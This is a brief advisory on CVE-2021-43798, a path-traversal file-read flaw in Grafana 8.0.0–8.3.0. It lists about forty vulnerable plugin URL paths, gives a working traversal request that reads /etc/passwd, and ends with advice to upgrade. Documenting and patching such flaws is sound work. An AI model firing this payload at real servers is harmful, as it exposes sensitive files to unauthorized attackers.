CVE-2021-43798 Grafana Arbitrary Read File Vulnerability

On December 4, 2021, a security researcher revealed an arbitrary file reading vulnerability in Grafana on the Internet.

Unauthorized attackers can use this vulnerability to obtain sensitive files on the server.

The vulnerability CVE-2021-43798 have a 7.5 CVSS score.

Affected version : Grafana 8.0.0 to 8.3.0

The vulnerable URL path :

<grafana_host_url>/public/plugins/alertlist/
<grafana_host_url>/public/plugins/annolist/
<grafana_host_url>/public/plugins/barchart/
<grafana_host_url>/public/plugins/bargauge/
<grafana_host_url>/public/plugins/candlestick/
<grafana_host_url>/public/plugins/cloudwatch/
<grafana_host_url>/public/plugins/dashlist/
<grafana_host_url>/public/plugins/elasticsearch/
<grafana_host_url>/public/plugins/gauge/
<grafana_host_url>/public/plugins/geomap/
<grafana_host_url>/public/plugins/gettingstarted/
<grafana_host_url>/public/plugins/grafana-azure-monitor-datasource/
<grafana_host_url>/public/plugins/graph/
<grafana_host_url>/public/plugins/heatmap/
<grafana_host_url>/public/plugins/histogram/
<grafana_host_url>/public/plugins/influxdb/
<grafana_host_url>/public/plugins/jaeger/
<grafana_host_url>/public/plugins/logs/
<grafana_host_url>/public/plugins/loki/
<grafana_host_url>/public/plugins/mssql/
<grafana_host_url>/public/plugins/mysql/
<grafana_host_url>/public/plugins/news/
<grafana_host_url>/public/plugins/nodeGraph/
<grafana_host_url>/public/plugins/opentsdb
<grafana_host_url>/public/plugins/piechart/
<grafana_host_url>/public/plugins/pluginlist/
<grafana_host_url>/public/plugins/postgres/
<grafana_host_url>/public/plugins/prometheus/
<grafana_host_url>/public/plugins/stackdriver/
<grafana_host_url>/public/plugins/stat/
<grafana_host_url>/public/plugins/state-timeline/
<grafana_host_url>/public/plugins/status-history/
<grafana_host_url>/public/plugins/table/
<grafana_host_url>/public/plugins/table-old/
<grafana_host_url>/public/plugins/tempo/
<grafana_host_url>/public/plugins/testdata/
<grafana_host_url>/public/plugins/text/
<grafana_host_url>/public/plugins/timeseries/
<grafana_host_url>/public/plugins/welcome/
<grafana_host_url>/public/plugins/zipkin/

How to exploit :

$HOST/public/plugins/graph/../../../../../../../../etc/passwd

Solutions and mitigations :

All installations between v8.0.0-beta1 and v8.3.0 should be upgraded as soon as possible.